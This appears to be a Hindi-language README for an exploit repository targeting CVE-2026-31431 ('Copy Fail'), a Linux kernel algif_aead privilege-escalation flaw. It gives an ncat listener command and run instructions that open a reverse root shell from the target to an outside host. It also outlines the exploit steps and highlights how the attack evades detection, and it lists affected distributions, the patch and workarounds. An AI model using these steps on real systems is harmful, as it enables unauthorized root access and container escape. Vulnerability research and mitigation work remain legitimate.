🔴 CVE-2026-31431 — "कॉपी फेल"

9 साल पुराना लिनक्स कर्नेल लॉजिक बग जो सेकंडों में रूट एक्सेस देता है

अवलोकन

कॉपी फेल लिनक्स कर्नेल के क्रिप्टोग्राफिक सबसिस्टम (algif_aead) में एक उच्च-गंभीरता वाली लोकल प्रिविलेज एस्केलेशन (LPE) भेद्यता है। 29 अप्रैल, 2026 को Theori (उनके Xint Code AI-सहायता प्राप्त भेद्यता अनुसंधान टूल के माध्यम से) द्वारा खोजा और प्रकट किया गया, यह दोष किसी भी अनप्रिविलेज्ड लोकल उपयोगकर्ता को किसी भी पठनीय फ़ाइल के पेज कैश में 4 नियंत्रित बाइट्स लिखने की अनुमति देता है — और 2017 से शिप किए गए लगभग हर प्रमुख लिनक्स वितरण पर रूट प्राप्त करने के लिए इसका उपयोग कर सकता है।

एक कार्यशील प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट केवल ~732 बाइट्स का Python है।

शोषण

1. Ncat लिसनर शुरू करें

sudo ncat -lvnp PORT

2. लक्ष्य मशीन पर एक्सप्लॉइट निष्पादित करें

# Python स्क्रिप्ट का उपयोग करके
python3 CVE-2026-31431-Exploit.py IP PORT

# संकलित बाइनरी
chmod +x CVE-2026-31431-Exploit
./CVE-2026-31431-Exploit IP PORT

🧬 तकनीकी सारांश

एक्सप्लॉइट कैसे काम करता है (4 चरण)

1. खोलें एक AF_ALG सॉकेट और authencesn(hmac(sha256),cbc(aes)) से बाइंड करें
2. Splice करें एक पठनीय setuid बाइनरी के पेजों को सॉकेट में
3. कर्नेल का AEAD स्क्रैच राइट उस बाइनरी के पेज कैश में 4 बाइट्स को अधिलेखित करता है
4. निष्पादित करें अब-भ्रष्ट setuid बाइनरी → रूट शेल

यह खतरनाक क्यों है

• कोई रेस विंडो नहीं — नियतात्मक, हर बार काम करता है
• कोई कर्नेल ऑफसेट / KASLR बायपास आवश्यक नहीं
• समान एक्सप्लॉइट सभी डिस्ट्रोस पर काम करता है — Ubuntu, RHEL, Amazon Linux, SUSE, Rocky, आदि।
• कंटेनर एस्केप — पेज कैश साझा है; कंटेनर के अंदर से लेखन होस्ट को प्रभावित करता है
• कोई डिस्क संशोधन नहीं — फ़ाइल-अखंडता मॉनिटर (AIDE, OSSEC, आदि) इसका पता नहीं लगाएंगे
• डिस्क पर कोई फोरेंसिक निशान नहीं

🎯 प्रभावित संस्करण

पुष्टि किए गए भेद्य वितरण

• Ubuntu 24.04 LTS
• Amazon Linux 2023
• RHEL 10.1
• SUSE 16
• Rocky Linux 9.7

मूल रूप से 2017 से जारी हर प्रमुख लिनक्स वितरण प्रभावित है।

🛡️ शमन

1. पैच (अनुशंसित)

अपने कर्नेल को फिक्स कमिट fafe0fa2995a वाले संस्करण में अपडेट करें। अधिकांश प्रमुख वितरणों ने अपडेटेड कर्नेल पैकेज जारी किए हैं या जारी कर रहे हैं।

2. अस्थायी कार्य-समाधान

यदि आप तुरंत पैच नहीं कर सकते:

• AF_ALG सॉकेट निर्माण को ब्लॉक करें seccomp नीति के माध्यम से
• algif_aead मॉड्यूल को ब्लैकलिस्ट करें:
  root@kitploit:~

  echo "blacklist algif_aead" | sudo tee /etc/modprobe.d/disable-algif-aead.conf
  sudo modprobe -r algif_aead 2>/dev/null
  

⚠️ अस्वीकरण

यह रिपॉजिटरी केवल शैक्षिक और रक्षात्मक उद्देश्यों के लिए है। यहां दी गई जानकारी सुरक्षा टीमों को CVE-2026-31431 को समझने, पता लगाने और कम करने में मदद करने के लिए है। हमेशा जिम्मेदार प्रकटीकरण प्रथाओं और लागू कानूनों का पालन करें।

⭐ पैच और डिटेक्शन मार्गदर्शन पर अपडेट रहने के लिए इस रिपोजिटरी को स्टार करें।